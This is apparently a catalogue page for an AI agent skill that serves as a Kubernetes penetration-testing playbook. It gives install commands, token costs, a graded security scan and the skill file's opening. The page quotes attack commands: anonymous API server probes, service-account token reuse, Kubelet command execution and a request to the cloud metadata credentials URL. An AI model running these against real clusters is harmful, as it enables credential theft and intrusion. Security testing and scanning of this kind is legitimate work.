kubernetes-pentesting

kubernetes-pentesting is a skill for Claude Code, Codex from JustineDevs/premortem. It costs 54 tokens per session (3,505 once invoked), scanned D, a copy of kubernetes-pentesting, Apache-2.0.

A Kubernetes penetration-testing playbook for assessing clusters, which are systems that run and manage groups of containers.

In plain words
What is it for?
Use it to test Kubernetes API access, RBAC permissions, etcd, Kubelet, pod escape, cloud metadata, admission controls, network policies, and registry secrets.
Why use it?
It helps security testers find weaknesses in cluster access, permissions, service accounts, node interfaces, secrets, and cloud integrations.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: installed under .agents/ (shared by several agents).

Good fit Use it to test Kubernetes API access, RBAC permissions, etcd, Kubelet, pod escape, cloud metadata, admission controls, network policies, and registry secrets.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/justinedevs/premortem/kubernetes-pentesting
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add JustineDevs/premortem --skill kubernetes-pentesting
Clone the repo
git clone --depth 1 https://github.com/JustineDevs/premortem

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for kubernetes-pentesting

README.md
[![agentmods](https://agentmods.dev/badge/skills/justinedevs/premortem/kubernetes-pentesting.svg)](https://agentmods.dev/skills/justinedevs/premortem/kubernetes-pentesting)
Your own site
<a href="https://agentmods.dev/skills/justinedevs/premortem/kubernetes-pentesting"><img src="https://agentmods.dev/badge/skills/justinedevs/premortem/kubernetes-pentesting.svg" alt="Measured on agentmods" height="20"></a>
Per session 54 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,505 The whole file, excluding the scripts and references it only reads on demand.
Security scan D 5 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00054 $0.03505
Opus 5 $0.00027 $0.01752
Sonnet 5 $0.00011 $0.00701
Haiku 4.5 $0.00005 $0.00350

Measured 4d ago against content hash f3e32e454611, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade D, and why

kubernetes-pentesting scanned grade D with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

# If SA has elevated permissions — dump secrets, create privileged pod:

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sk https://APISERVER:6443/api/v1/namespaces
Origin

This is a copy

100% identical to kubernetes-pentesting — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

.agents/skills/kubernetes-pentesting/SKILL.md · 349 lines

How it starts

The opening of the file, as written. The whole thing — 349 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Kubernetes Pentesting — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.

Before going deep, consider loading:


1. K8S API SERVER ACCESS

1.1 Anonymous Access Check

# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis

# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)

1.2 Token-Based Authentication (from inside pod)

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods

1.3 Certificate / Kubeconfig Authentication

Read the full file on GitHub · 349 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 349 lines · 54 tokens per session scan D f3e32e454611

Subscribe to this mod's changes

kubernetes-pentesting is a skill published in the GitHub repository JustineDevs/premortem (2 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 54 tokens to every session and 3,505 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it D with 5 findings (sends data to an external url, harvests environment variables, reaches for credential files). It is 100% identical to kubernetes-pentesting, differing in 0 lines, and is treated as a copy.

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